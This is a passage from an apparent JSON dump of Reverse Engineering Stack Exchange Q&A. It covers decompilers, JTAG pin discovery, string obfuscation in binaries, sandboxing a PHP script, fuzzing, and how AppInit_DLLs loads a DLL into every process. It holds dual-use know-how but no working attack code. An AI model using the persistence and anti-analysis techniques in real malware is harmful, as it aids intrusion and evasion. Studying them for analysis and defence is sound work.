        "Answer": "<p>The Legend of R4ndom has a long series on a variety of reversing topics. <strike><a href=\"http://thelegendofrandom.com/blog/sample-page\" rel=\"nofollow noreferrer\">http://thelegendofrandom.com/blog/sample-page</a></strike><br>\n<a href=\"http://octopuslabs.io/legend/blog/sample-page.html\" rel=\"nofollow noreferrer\">http://octopuslabs.io/legend/blog/sample-page.html</a></p>\n"
    },
    {
        "Id": "287",
        "CreationDate": "2013-03-26T16:31:58.307",
        "Body": "<p>Assuming we have an assembly code, what are the known techniques that could be used to recover the variables used in the original high-level code ?</p>\n\n<p><strong>Edit</strong>: By <em>recovering variables</em>, I do not mean <em>recovering variable names</em>, but trying to identify memory locations that are used to store temporary results that could be replaced by a variable in the high-level code. Also, I am not speaking about bytecodes, but real binary code with no type information, nor complete names embedded in it.</p>\n",
        "Title": "How to recover variables from an assembly code?",
        "Tags": "|decompilation|disassembly|static-analysis|",
        "Answer": "<p>(I was planning to make it a comment but it turned out rather long and it makes an answer on its own)</p>\n\n<p>Some of the comments mentioned the Hex-Rays decompiler. Its basic ideas are not a trade secret and are in fact described in the <a href=\"https://www.hex-rays.com/products/ida/support/ppt/decompilers_and_beyond_white_paper.pdf\">white paper</a> by Ilfak Guilfanov which accompanies <a href=\"http://www.youtube.com/watch?v=00EqvVtLdJo\">the presentation</a> he gave in 2008.</p>\n\n<p>I'll paste the relevant part here:</p>\n\n<blockquote>\n  <h3>Local variable allocation</h3>\n  \n  <p>This phase uses the data flow analysis to connect registers from different basic blocks in order to convert\n  them into local variables. If a register is defined by a block and\n  used by another, then we will create a local variable covering both\n  the definition and the use. In other words, a local variable consists\n  of all definitions and all uses that can be connected together. While\n  the basic idea is simple, things get complicated because of\n  byte/word/dword registers.</p>\n</blockquote>\n\n<p>It's simple on the surface but of course the implementation has to account for numerous details. And there's always room for improvement. There's this passage:</p>\n\n<blockquote>\n  <p>For the time being, we do not analyze live ranges of stack variables\n  (this requires first a good alias analysis: we have to be able to\n  prove that a stack variable is not modified between two locations). I\n  doubt that a full fledged live range analysis will be available for\n  stack variables in the near future.</p>\n</blockquote>\n\n<p>So, for stack variables the approach right now is simple: each stack slot is considered a single variable for the whole function (with some minor exceptions). The decompiler relies here on the work done by IDA during disassembly, where a stack slot is created for each access by an instruction.</p>\n\n<p>One current issue is multiple names for the same variable. For example, the compiler may cache the stack var in a register, pass it to some function, then later reload it into another register. The decompiler has to be pessimistic here. If we can't prove that the same location contains the same value at two points in time, we can't merge the variables. For example, any time the code passes an address of a variable to a call, the decompiler has to assume the call may spoil anything after that address. So even though the register still contains the same value as the stack var, we can't be 100% certain. Thus the excess of variable names. User can override it with manual mapping, however.</p>\n\n<p>There are some ideas about introducing function annotations that would specify exactly how a function uses and/or changes its arguments (similar to Microsoft's SAL) which would alleviate this problem, but there are some technical implementation issues there.</p>\n"
    },
    {
        "Id": "291",
        "CreationDate": "2013-03-26T16:48:45.367",
        "Body": "<p>I have a device with two chips without part numbers. It looks like their using RS232 for serial communication (proper setup, right voltage), but I do not know the bus settings (speed, parity, etc.). Is there any way to determine the bus settings without brute force (trying everything)? </p>\n\n<p>I have a multimeter and an oscilloscope on my workbench.</p>\n",
        "Title": "Determining RS232 bus settings",
        "Tags": "|communication|serial-communication|",
        "Answer": "<p>A simple logic analyzer, such as the <a href=\"http://www.saleae.com/\">Saleae</a> is invaluable for finding simple transmit serial pins. Receive serial pins are harder due to them being silent. </p>\n\n<p>Are you sure that this is <a href=\"http://en.wikipedia.org/wiki/RS232\">RS232</a> and not just serial? It's pretty rare to see RS232 on embedded systems unless they're industrial. <a href=\"http://en.wikipedia.org/wiki/RS232#Voltage_levels\">RS232 goes way above TTL levels</a>.</p>\n"
    },
    {
        "Id": "298",
        "CreationDate": "2013-03-26T18:11:01.840",
        "Body": "<p>I have two chips that are connected using two lines. One appears to be the clock line (50% duty cycle), but it doesn't have to be (sometimes constant high). The other line appears to be totally random, but still digital. It might be data.</p>\n\n<p>There is a third line between the chips, but it appears to be for something else - it's on a way slower speed and is on another place on the PCB. It also doesn't use a pull-up, while the other two do.</p>\n\n<p>How can I find out what protocol (I2C, SPI, RS232, ...) is being used on the lines, if any standard?</p>\n",
        "Title": "Determining communication protocol",
        "Tags": "|communication|pcb|",
        "Answer": "<p>My guess is that the protocol is standard, using a non standard protocol between two devices involves using bitbanging which is not very useful.\nLet's assume then that the protocol is standard.\nIt's not SPI, SPI needs 4 lines To work. I2C needs two, RS232 needs only two.\nI don't know what the third line job is, maybe it's used for trigerring/synchronization between the chips.</p>\n\n<p>What now ? I would open the data sheet of the microcontroller and see what protocols the chips supports, usually if they are new 32bit SOC, they all support CAN, SPI, USART, etc.\nThen I would check the pinout of the corresponding lines, to see to which ports they are connected on the chip. This will point you to the exact protocol used.</p>\n\n<p>Then connect a logic analyzer, such as this <a href=\"http://www.saleae.com/logic/\" rel=\"nofollow\">one</a>, which is bundled with a software that can dumo the data transfered acordding to the protocol.</p>\n"
    },
    {
        "Id": "299",
        "CreationDate": "2013-03-26T18:51:06.220",
        "Body": "<p>To analyze the communication protocol between two chips running unknown firmware, we eavesdrop into the communication bus between the chips. In the ideal case, this is \u201cjust\u201d a matter of matching exposed paths on a PCB with the contacts of a logic analyzer.</p>\n\n<p>What if the chips are stacked in a <a href=\"http://en.wikipedia.org/wiki/Package_on_package\" rel=\"noreferrer\">package on package</a> configuration? How can the contacts be exposed? Can the chips be separated? Does this damage the chips, or will they look as new afterwards?</p>\n",
        "Title": "Exposing the connectors in a package on package",
        "Tags": "|integrated-circuit|communication|",
        "Answer": "<p><strong>Non Destructive</strong></p>\n\n<p>Highly unlikely to be successful unless you have intimate knowledge of how the pacakges were epoxied together. If you did go this route it might be possible to break down the glue that binds the chips together a REing effort in its own right. Once you did that it might not be possible to join them back together without machinery to align the chips under x-ray. And even then the soder balls might not be too happy about what you have done to them...</p>\n\n<p><strong>Destructive</strong></p>\n\n<p>Since package on package usually means the chips are epoxied together you basically have to distroy the packages to get them appart. Once you did you could look at them under microscope and RE them that way. You could possibly separate them without damaging the interconnects and test the top chip... as a black box I would imagine the bottom chip woudln't work without the top one though since it is usually RAM at least in mobile devices.</p>\n\n<p><strong>Related Info</strong>\n<a href=\"http://www.smartcard.co.uk/articles/Whatthesiliconmanufacturerhasputtogetherletnomanputasunder.php\" rel=\"nofollow\">Christopher Tarnovsky</a> and\n<a href=\"http://www.chipworks.com\" rel=\"nofollow\">http://www.chipworks.com</a></p>\n\n<p>That company specializies in REing chips... and that is the sort of setup you would need to do it sucessfully. 1 million+ USD for something like an arm processor.</p>\n"
    },
    {
        "Id": "302",
        "CreationDate": "2013-03-27T00:13:18.707",
        "Body": "<p>When reverse engineering programs, I often find functions like the one below.  This function in particular has a set of nested if/else blocks (pink boxes) which would typically be fairly easy to follow. When code executes at the blue box however, the code becomes messy and can take either of two independent code paths (purple or yellow).  If the developer had used a function (or not used an inline function) for the purple or yellow code blocks, this code would be much easier to reverse engineer. As a function, I can rename and comment on the code block, and the overall program becomes easier to read.</p>\n\n<p>My usual technique when I come across this kind of function is to apply colors to the code blocks like you see in the graph below. Is there a way for IDA to treat an arbitrary collection of code blocks as a function that is not called and/or are there better approaches to dealing with inline code and independent code blocks?</p>\n\n<p><img src=\"https://i.stack.imgur.com/kmK4c.png\" alt=\"Large function\"></p>\n",
        "Title": "Treating independent code as a function in IDA Pro",
        "Tags": "|ida|",
        "Answer": "<p>It sounds like what you need is node groups. Since the very first implementation (5.0) IDA's graph view allowed to group several nodes into one \"super-node\" with a custom title. Just select the nodes you want to group with Ctrl-click and choose \"Group nodes\" from the context menu.</p>\n\n<p>For more info, see \"Graph node groups\" in IDA's help or <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/1129.shtml\">online</a>.</p>\n"
    },
    {
        "Id": "306",
        "CreationDate": "2013-03-27T01:16:39.540",
        "Body": "<p>The latest (as of now) comic is titled <a href=\"http://xkcd.com/1190/\">\"Time\"</a>. It's a standard-looking comic though without much action, but the picture's alt title says \"Wait for it.\". I waited but nothing happened (tried in Opera and IE9) so I took a look at the page source.</p>\n\n<p>Next to the picture's <code>&lt;img&gt;</code> tag there was a <code>&lt;script&gt;</code> which included the following URL:</p>\n\n<p><a href=\"http://imgs.xkcd.com/static/time07.min.js\">http://imgs.xkcd.com/static/time07.min.js</a></p>\n\n<p>I tried to make sense of it, but I can't figure it out. Can someone explain how it works and what was supposed to happen?</p>\n",
        "Title": "Reverse engineering XKCD 1190",
        "Tags": "|javascript|websites|",
        "Answer": "<p>Somebody at XKCD fora pasted a link to this <a href=\"https://gist.github.com/cincodenada/5246094\">gist</a> which contains a deobfuscated and annotated source along with some explanations: </p>\n\n<blockquote>\n  <p>The main part of Javascript that drives xkcd's \"Time\" comic (<a href=\"http://xkcd.com/1190/\">http://xkcd.com/1190/</a>), deobfuscated and annotated. The bulk of the script seems to be an implementation of EventSource - which, while important, is not terribly interesting for our purposes, so I've omitted it here. After some Googling around, I am in fact fairly certain that the EventSource implementation used here is <a href=\"https://github.com/Yaffle/EventSource\">https://github.com/Yaffle/EventSource</a> - after minifying and beautifying that code, it looks very similar to what shows up in time07.min.js.</p>\n</blockquote>\n\n<p>As far as I can tell, it has no magic in it and serves just as a simple way for the server to let the client know when there is a new image. </p>\n"
    },
    {
        "Id": "310",
        "CreationDate": "2013-03-27T08:23:11.430",
        "Body": "<p>I have a very messy PHP script of which I need to determine the function. I can't quite understand the code, it's <em>really</em> messy. Now I thought that I perhaps could reverse engineer this script.</p>\n\n<p>What I want to do is to run this script (eventually with specific parts commented) to gain a better understanding of what part of the script does what. With that information, I should be able to get a full understanding of the script.</p>\n\n<p>However, I do not want to change anything in the database on the server, I do not want that the script is going to mail things, etc. Basically, the script should be totally separated from the world, but I do want to see what it <em>tries</em> to do. So, for example, when the script runs a <code>mail()</code> function, I want to see that a mail would've been sent if the script wasn't separated from the world.</p>\n\n<p>I therefore need a copy of the server installation (Ubuntu Server 12.04), which isn't that hard. The hard part is that I need to have a system which <em>acts</em> like it is the outside world, but actually is a <em>logging system</em> in which I can see what's happening. </p>\n\n<p>Are there any tools that can do this? If not, how should I go in building it myself?</p>\n",
        "Title": "Secure RE-ing a PHP script",
        "Tags": "|tools|php|",
        "Answer": "<p>Since you already have the source file, I believe that there is a simpler and easier approach (as compared to rerouting network traffic on low levels would be to intercept the methods being called.)</p>\n\n<p>Firstly, identify and replace methods in your php file (remember to make a copy!). For example, if you want to intercept <code>mail()</code>, you can find <code>mail(</code> and replace it with <code>shim_mail(</code>. You can also do so for other <em>interesting</em> methods such as <code>mysql_connect()</code>. </p>\n\n<p>Once you finish, add <code>include 'shim.php';</code> at the top of your file. The \"shim\" will act as a layer between the php script and the actual method, so you can choose to log it to a text file, allow it to execute, or even point it to a replica database!</p>\n\n<p><strong>shim.php</strong>\n    \n\n<pre><code>$logfile = 'log.txt';\n\nfunction shim_mysql_connect($server, $username, $password, $new_link = false, $client_flags = 0)\n{\n    file_put_contents($logfile, file_get_contents($logfile) . \"\\r\\nmysql_connect() to \" . $server . \" with username \" . $username . \" and password \" . $password);\n\n    // intercept the command and point it to the 'honeypot'\n    return mysql_connect('your_new_server', 'username', 'password');\n}\n\nfunction shim_mail($to, $subject, $message, $additional_headers = '', $additional_parameters = '')\n{\n    file_put_contents($logfile, file_get_contents($logfile) . \"\\r\\nmail() to \" . $to . \" with subject \" . $subject . \" and message \" . $message);\n\n    // don't actually send an email\n}\n\n?&gt;\n</code></pre>\n\n<p>In this shim file, you can add functions that you are interested to find out about (simply by copying the same method signature as the original file and printing relevant logs). By observing the log, you can probably find out a lot more about the php script!</p>\n\n<p>(while I was midway composing this, I realized that Daniel W. Steinbrook has also come up with a similar method. My method has a slight advantage that it is simpler without adding new dependencies, but runkit sounds like a more <em>correct</em> way. Either way, you can simply pick one that works!)</p>\n"
    },
    {
        "Id": "311",
        "CreationDate": "2013-03-27T10:12:23.533",
        "Body": "<p>Java and .NET decompilers can (usually) produce an almost perfect source code, often very close to the original.</p>\n\n<p>Why can't the same be done for the native code? I tried a few but they either don't work or produce a mess of gotos and casts with pointers.</p>\n",
        "Title": "Why are machine code decompilers less capable than for example those for the CLR and JVM?",
        "Tags": "|decompilation|x86-64|x86|arm|",
        "Answer": "<p>Java and .NET both include a feature called &quot;reflection&quot;, which makes it possible to access inner workings of a class and instances thereof, using runtime-generated strings that hold the names of those features.  In C code, if one includes a structure definition:</p>\n<pre><code>struct foo { int x,y,z,supercalifragilisticexpialidocious; };\n</code></pre>\n<p>expressions that access field <code>supercalifragilisticexpialidocious</code> will generate machine code that accesses an <code>int</code>-sized object at offset <code>3*sizeof(int)</code> in the structure, but nothing in the machine code will care about the name.</p>\n<p>In C# by contrast, if code that was running with suitable Reflection permissions were to generate the string <code>x</code>, <code>y</code>, <code>z</code>, <code>supercalifragilisticexpialidocious</code>, or <code>woof</code> somehow, and used Reflection functions to retrieve the value of the field having that name (if any) from an instance of that type, the Runtime would need to have access to the names of those fields.  Even if a program would in fact never use Reflection to access the fields by name, there would generally be no way the Compiler could know that.  Thus, compilers need to include within executable programs the names of almost all identifiers used the source code, without regard for whether anything would ever care about whether or not they did so.</p>\n"
    },
    {
        "Id": "324",
        "CreationDate": "2013-03-27T14:20:54.423",
        "Body": "<p>I have an audio file in an unknown format. How should I try to determine its format ?</p>\n\n<p>Also, is it possible to do this by manual observation and not using any automated tool ?</p>\n",
        "Title": "How should I determine the format of this audio file?",
        "Tags": "|file-format|",
        "Answer": "<p>In addition to the fine suggestions in the other answers, here are some suggestions specific to audio:</p>\n\n<ul>\n<li>If you know how long the playtime of the audio is (roughly), calculate the approximate bitrate of the audio file. This will tell you whether it is compressed or not, and the compression ratio can tell you roughly what you might be dealing with. For example, 4kbps~32kbps is indicative of a speech codec, 64~256kbps is ordinary compressed audio (AAC/MP3/Ogg Vorbis), 512~3072kbps likely means a lossless codec, and substantially higher means uncompressed or weakly compressed (e.g. ADPCM, PCM) audio. In turn, this may clue you into what it contains (speech, music, sound effects, etc.).</li>\n<li>If you suspect it might be weakly compressed, try opening the file up as a raw PCM stream in your favorite audio editor (e.g. Audacity) and listening to it. There will probably be an insane amount of noise if it's compressed in any way, but some formats (e.g. ADPCM) can still be audible in this circumstance if they are relatively constant bitrate. I've used this tactic in the past to work out the spoken contents of a (still unknown) audio sample I received. Indeed, this tactic can even reveal the contents of poorly encrypted, uncompressed files by exploiting human pattern recognition.</li>\n<li>Check for metadata chunks in the file -- <code>strings</code>, a quick examination of the first and last chunks of the file in a hex editor, or just searching for strings you might expect to see.</li>\n</ul>\n"
    },
    {
        "Id": "1327",
        "CreationDate": "2013-03-27T16:15:00.803",
        "Body": "<p>Can external libraries be used in Hopper scripts? I'd like to add PDB support to <a href=\"http://www.hopperapp.com/\">Hopper</a> using <a href=\"https://code.google.com/p/pdbparse/\">pdbparse</a>, but I haven't been able to get it to use external libraries.</p>\n\n<p>Alternatively, I suppose one could just dump the debug symbol offsets to a text file and read that, but it seems like a clunkier solution (since you wouldn't be able to, e.g., auto-download symbols from the MS Symbol Server).</p>\n",
        "Title": "Importing external libraries in Hopper scripts?",
        "Tags": "|disassembly|python|hopper|pdb|",
        "Answer": "<p>At the moment, there is no way to debug a dylib. I know that it is a real problem, and I plan to add such a feature in a future update.</p>\n\n<p>Another thing that will be added to Hopper is the ability to load multiple file in the same document, in order to disassemble things like kext for instance.</p>\n"
    },
    {
        "Id": "1328",
        "CreationDate": "2013-03-27T16:24:44.427",
        "Body": "<p>I have a java class file. How do I find out the version of the compiler used to compile this file? I'm on Ubuntu Server 12.04.</p>\n",
        "Title": "Find out a Java class file's compiler version",
        "Tags": "|compilers|java|",
        "Answer": "<p>You're looking for this on the command line (for a class called MyClass):</p>\n\n<p>On Unix/Linux:</p>\n\n<pre><code>javap -verbose MyClass | grep \"major\"\n</code></pre>\n\n<p>On Windows:</p>\n\n<pre><code>javap -verbose MyClass | findstr \"major\"\n</code></pre>\n\n<p>You want the major version from the results. Here are some example values:</p>\n\n<ul>\n<li>Java 1.2 uses major version 46</li>\n<li>Java 1.3 uses major version 47</li>\n<li>Java 1.4 uses major version 48</li>\n<li>Java 5 uses major version 49</li>\n<li>Java 6 uses major version 50</li>\n<li>Java 7 uses major version 51</li>\n<li>Java 8 uses major version 52</li>\n</ul>\n"
    },
    {
        "Id": "1346",
        "CreationDate": "2013-03-28T09:26:54.353",
        "Body": "<p>Apple developer network site has a small guide about <a href=\"https://developer.apple.com/internet/safari/windows_symbols_instructions.html\" rel=\"nofollow\">setting up debugging symbols server for Safari browser on Windows</a>.  But it doesn't work. First, the link to actual symbols server \ngets redirected from http to https, but then it just 404s. \nNow, I know that Safari isn't supported on Windows any longer, but I wanted to play with existing version. Any idea if the symbols are actually available somewhere?</p>\n",
        "Title": "Safari windows debugging symbols",
        "Tags": "|debugging-symbols|safari|",
        "Answer": "<p>Your best bet is to contact Adam Roben directly for the symbol files. He seems to be the person who put these out 5 years ago.</p>\n\n<p>You can find his email and some more information regarding symbol server at the following links.\n<a href=\"http://trac.webkit.org/changeset/35512\" rel=\"nofollow\">http://trac.webkit.org/changeset/35512</a> <br>\n<a href=\"https://lists.webkit.org/pipermail/webkit-dev/2008-August/004741.html\" rel=\"nofollow\">https://lists.webkit.org/pipermail/webkit-dev/2008-August/004741.html</a> <br>\n<a href=\"http://mac-os-forge.2317878.n4.nabble.com/Safari-for-Windows-symbol-server-updated-td177872.html\" rel=\"nofollow\">http://mac-os-forge.2317878.n4.nabble.com/Safari-for-Windows-symbol-server-updated-td177872.html</a> <br></p>\n"
    },
    {
        "Id": "1347",
        "CreationDate": "2013-03-28T09:39:52.443",
        "Body": "<p>What's a working tool/methodology to work cooperatively on the same binary (if possible in parallel), that is proven to work?</p>\n\n<hr>\n\n<p>I used various methods long ago to share information with others, but not in parallel:</p>\n\n<ul>\n<li>sending IDB back &amp; forth</li>\n<li>sharing TXT notes on a repository</li>\n<li>exporting IDB to IDC and sharing the IDC on a repository</li>\n</ul>\n\n<p>However, none of these were really efficient. I am looking for better methodologies and tools for collaborative work.</p>\n",
        "Title": "Tools to work cooperatively on the same binary",
        "Tags": "|tools|disassembly|static-analysis|ida|",
        "Answer": "<p>I don't see <a href=\"https://ghidra-sre.org\" rel=\"nofollow noreferrer\">Ghidra</a> in the lists in the other answers, probably because this question was asked in 2013, and Ghidra has only more recently been made available to the public.</p>\n\n<p>Ghidra comes with built-in cooperative working tools. Each user who wishes to cooperate on a reverse engineering project would connect to Ghidra server. This is a simple server that can be run on any computer that these Ghidra users can all access. It provides network storage for the shared project too. It controls user access, provides file versioning, and supports check in, check out and version history. Quite neat.</p>\n"
    },
    {
        "Id": "1349",
        "CreationDate": "2013-03-28T10:05:06.293",
        "Body": "<p>It's really a productivity bottleneck when various analysis tools can't share information.</p>\n\n<p>What's an efficient way to store symbols+comments+structures, so that they can be easily imported into other reversing tools?</p>\n\n<hr>\n\n<p>I used to rely on SoftIce's IceDump extension to load/save IDA symbols, or load exported MAP symbols from IDA into OllyDbg via gofather+'s GoDup, but nothing recent nor portable.</p>\n",
        "Title": "Which format/tool to store 'basic' informations?",
        "Tags": "|disassembly|tools|debuggers|",
        "Answer": "<p>A potential tool would be QuarkLabs' <a href=\"http://www.quarkslab.com/fr-blog+list+1024\" rel=\"nofollow\">qb-sync</a>, which advertises:</p>\n\n<ul>\n<li>Synchronization between IDA and WinDbg, OllyDbg2, GDB</li>\n<li>Source code available (GNU GPL 3)</li>\n</ul>\n"
    },
    {
        "Id": "1356",
        "CreationDate": "2013-03-28T16:55:16.840",
        "Body": "<p>Text strings are usually easily read in a binary file using any editor that supports ASCII encoding of hexadecimal values. These text snippets can be easily studied and altered by a reverse engineer.</p>\n\n<p>What options does a developer have to encrypt these text snippets, and decrypt them, in runtime ?</p>\n",
        "Title": "Encrypting text in binary files",
        "Tags": "|obfuscation|c|c++|",
        "Answer": "<p>Some options which may or may not be applicable depending on your needs:</p>\n\n<ol>\n<li><p><strong>Avoid</strong> using strings to leak out interesting information when possible. For example if you are using strings to display error information or logging information, this can give any reverse engineer valuable details as to what might be going on in your application. Instead replace these strings with numerical error codes.</p></li>\n<li><p><strong>Obfuscate</strong> all strings with some kind of symmetric algorithm like a simple XOR routine, or a crypto algorithm like AES. This will prevent the string from being discovered during a casual examination of your binary. I say 'obfuscate' as you will presumably be storing the crypto/xor key in your binary. Any reverse engineer who tries a little harder will surely recover the obfuscated strings.</p></li>\n<li><p><strong>Encrypt</strong> all strings (make all the strings get linked into a separate section in your executable and encrypt this section) and store the decryption key outside of your binary. You could store the key remotely and restrict access server side where possible. So if a reverse engineer does get your binary they <em>may</em> not be able to access the key. The decryption key could also be generated dynamically on the users computer based off several predictable factors known about that users machine, essentially only allowing the encrypted data to be decrypted when run on this specific machine (or type of machine). This technique has been used by government malware to encrypt payloads for specific targets (If I can remember the link to the paper I read this in I will update answer).</p></li>\n<li><p><strong>Get Creative</strong>, Store all strings in a foreign language and then at run time use an online translation service to translate the string back to your expected native language. This is of course not very practical.</p></li>\n</ol>\n\n<p>Of course if your strings do get decoded/decrypted at run time then a reverse engineer could just dump the process from memory in order to see the strings. For this reason it may be best to decode/decrypt individual strings only when needed (possibly storing the decoded string in a temporary location and zeroing it after use).</p>\n"
    },
    {
        "Id": "1361",
        "CreationDate": "2013-03-28T20:28:48.750",
        "Body": "<p>What tools or methodology do you use to de-obfuscate Java classes?</p>\n\n<hr>\n\n<ul>\n<li>I know you can theoretically decompile, modify and recompile, but that's only you fully trust a Java decompiler (and none is regularly updated).</li>\n<li>One might also edit java bytecode directly with <a href=\"http://rejava.sourceforge.net/\" rel=\"nofollow\">reJ</a> but that's tedious and risky (it's easy to break the bytecode without any warnings...)</li>\n</ul>\n",
        "Title": "How do you deobfuscate Java classes?",
        "Tags": "|tools|java|deobfuscation|",
        "Answer": "<p>I am not exactly a Java expert but a while ago I researched the firmware of a car navigation system. For the java bits of it I used the <a href=\"http://java.decompiler.free.fr/\" rel=\"nofollow\">\u201cJava Decompiler project\u201d</a> and it seemed to work well for decompilation.</p>\n\n<blockquote>\n  <p>The \u201cJava Decompiler project\u201d aims to develop tools in order to\n  decompile and analyze Java 5 \u201cbyte code\u201d and the later versions.</p>\n  \n  <p>JD-Core is a library that reconstructs Java source code from one or\n  more \u201c.class\u201d files. JD-Core may be used to recover lost source code\n  and explore the source of Java runtime libraries. New features of Java\n  5, such as annotations, generics or type \u201cenum\u201d, are supported. JD-GUI\n  and JD-Eclipse include JD-Core library.</p>\n  \n  <p>JD-GUI is a standalone graphical utility that displays Java source\n  codes of \u201c.class\u201d files. You can browse the reconstructed source code\n  with the JD-GUI for instant access to methods and fields.</p>\n  \n  <p>JD-Eclipse is a plug-in for the Eclipse platform. It allows you to\n  display all the Java sources during your debugging process, even if\n  you do not have them all.</p>\n  \n  <p>JD-Core works with most current compilers including the following:</p>\n\n<pre><code>jdk1.1.8\njdk1.3.1\njdk1.4.2\njdk1.5.0\njdk1.6.0\njdk1.7.0\njikes-1.22\nharmony-jdk-r533500\nEclipse Java Compiler v_677_R32x, 3.2.1 release\njrockit90_150_06\n</code></pre>\n</blockquote>\n"
    },
    {
        "Id": "1370",
        "CreationDate": "2013-03-29T15:44:07.180",
        "Body": "<p>I am using <a href=\"http://jd.benow.ca/\">JD-GUI</a> to decompile Java JAR files, but the problem is that it leaves many errors, such as duplicate variables which I have to fix myself and check to see if the program still works (if I fixed the errors correctly).</p>\n\n<p>I also tried Fernflower, but that leaves blank classes if it's missing a dependency.</p>\n\n<p>I'd like to know which decompiler:</p>\n\n<ul>\n<li>gives the least amount of errors</li>\n<li>deobfuscates the most.</li>\n</ul>\n",
        "Title": "What is a good Java decompiler and deobfuscator?",
        "Tags": "|decompilation|tools|java|deobfuscation|jar|",
        "Answer": "<p>I'm using <a href=\"https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine\" rel=\"nofollow noreferrer\">https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine</a>\nIt's the decompiler from IntelliJ, it decompile codes where JD-GUI fail.</p>\n\n<p>It's a unofficial mirror to download:\n<a href=\"http://files.minecraftforge.net/maven/net/minecraftforge/fernflower/\" rel=\"nofollow noreferrer\">http://files.minecraftforge.net/maven/net/minecraftforge/fernflower/</a></p>\n"
    },
    {
        "Id": "1374",
        "CreationDate": "2013-03-29T18:32:04.087",
        "Body": "<p>I'm a software guy through and through.  But periodically when I'm taking apart hardware I know to look for JTAG ports and RS232 ports.  So far I've always been lucky and have been able to solder on pins to the RS232 port and get a serial connection.</p>\n\n<p>For the times in the future that I am unlucky, can someone explain to me what JTAG is (i.e. is there only one type of JTAG and I can expect to hook it up to a single type of port, like a DB-9 for serial?) and how I would go about using it to dump firmware off an embedded system or is it all manufacturer specific?</p>\n",
        "Title": "How do I identify and use JTAG?",
        "Tags": "|hardware|jtag|",
        "Answer": "<p>For figuring out JTAG pinout, there are many hits on google for \"JTAG Finder\". I also have my own implementation:</p>\n\n<p><a href=\"http://mbed.org/users/igorsk/code/JTAG_Search/\" rel=\"noreferrer\">http://mbed.org/users/igorsk/code/JTAG_Search/</a></p>\n\n<p>It's for mbed but I tried to make it easily portable (original version was for a Stellaris board).</p>\n\n<p>Here's a quote from the comment which describes the basic approach:</p>\n\n<pre><code> The overall idea:\n 1) choose any 2 pins as TMS and TCK\n 2) using them, reset TAP and then shift DR, while observing the state of all other pins\n 3) for every pin that received anything like a TAP ID (i.e. bit 0 is 1):\n 4)   using the pin as TDI, feed in a known pattern into the TAP\n 5)   keep shifting and monitor the rest of the pins\n 6)   if any of the remaining pins received the pattern, it is TDO\n</code></pre>\n"
    },
    {
        "Id": "1375",
        "CreationDate": "2013-03-29T18:37:25.567",
        "Body": "<p>I've previously rolled my own Fuzzing Framework, and tried a few others like Peach Fuzzer.  It's been awhile since I've looked at vulnerability hunting, what is the state of the art with regard to fuzzing?  That is, if I were to start fuzzing Acme Corp's PDF Reader today, what toolset should I look into?  </p>\n",
        "Title": "State of the Art Fuzzing Framework",
        "Tags": "|fuzzing|",
        "Answer": "<p>Don't know about the state of the art , but some advances have been in the direction of combining symbolic execution as with <a href=\"https://web.archive.org/web/20160311223607/http://research.microsoft.com/en-us/um/people/pg/public_psfiles/cacm2012.pdf\" rel=\"nofollow noreferrer\">SAGE</a> from MS Research (there should be a better paper, but I think it's paywalled). Also <a href=\"https://ieeexplore.ieee.org/document/6200194\" rel=\"nofollow noreferrer\">A Taint Based Approach for Smart Fuzzing</a> shows how to combine taint analysis for advanced fuzzing (there should be some non-paywalled version around). Also, I expect most people don't really publish their advanced techniques until they exhaust them, which is the main problem of this question.</p>\n"
    },
    {
        "Id": "1376",
        "CreationDate": "2013-03-29T18:58:10.950",
        "Body": "<p>I have a malware sample that adds a DLL to the registry key <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppInit_DLLs</code>.  There is malicious functionality in the DLL referenced by the registry key but this malware sample does not load or call the DLL, nor does it exhibit any other malicious behavior.</p>\n\n<p>Why would malware add a DLL to this registry key?</p>\n",
        "Title": "What happens when a DLL is added to AppInit_DLL",
        "Tags": "|windows|malware|dll|",
        "Answer": "<p>The implementation of AppInit DLL in windows 7 is as follows:</p>\n\n<p>In <code>user32.dll!ClientThreadSetup</code> the <code>LoadAppInitDlls</code> export from kernel32.dll is being called for any process except the LogonProcess.</p>\n\n<p><code>kernel32.dll!LoadAppInitDlls</code> checks the <code>LoadAppInit_DLLs</code> registry key and if set calls <code>BasepLoadAppInitDlls</code> (except when offset 3 of the <a href=\"http://en.wikipedia.org/wiki/Process_Environment_Block\">PEB</a> has value 2).</p>\n\n<p><code>BasepLoadAppInitDlls</code> calls <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms684179%28v=vs.85%29.aspx\">LoadLibraryEx</a> for each DLL set in the <code>AppInit_DLLs</code> registry key. If signing is required (when the <code>RequireSignedAppInit_DLLs</code> registry value is set) the <code>LOAD_LIBRARY_REQUIRE_SIGNED_TARGET</code> flag is passed to LoadLibraryEx.</p>\n\n<p>So by setting this registry key, the malware dll will be injected into every process started after setting this key. On previous OS versions AppInit DLL's were not called for non gui/console processes but at least on Windows 7 it's also called for non gui processes.</p>\n"
    },
    {
        "Id": "1380",
        "CreationDate": "2013-03-29T20:43:20.327",
        "Body": "<p>When you unpack manually a Windows user-mode executable, you can easily break at its EntryPoint (or TLS), then trace until you reach the original EntryPoint. However that's not possible with a packed driver.</p>\n\n<p>How can you reliably unpack a Windows driver manually?</p>\n",
        "Title": "How can you reliably unpack a Windows driver manually?",
        "Tags": "|windows|unpacking|driver|",
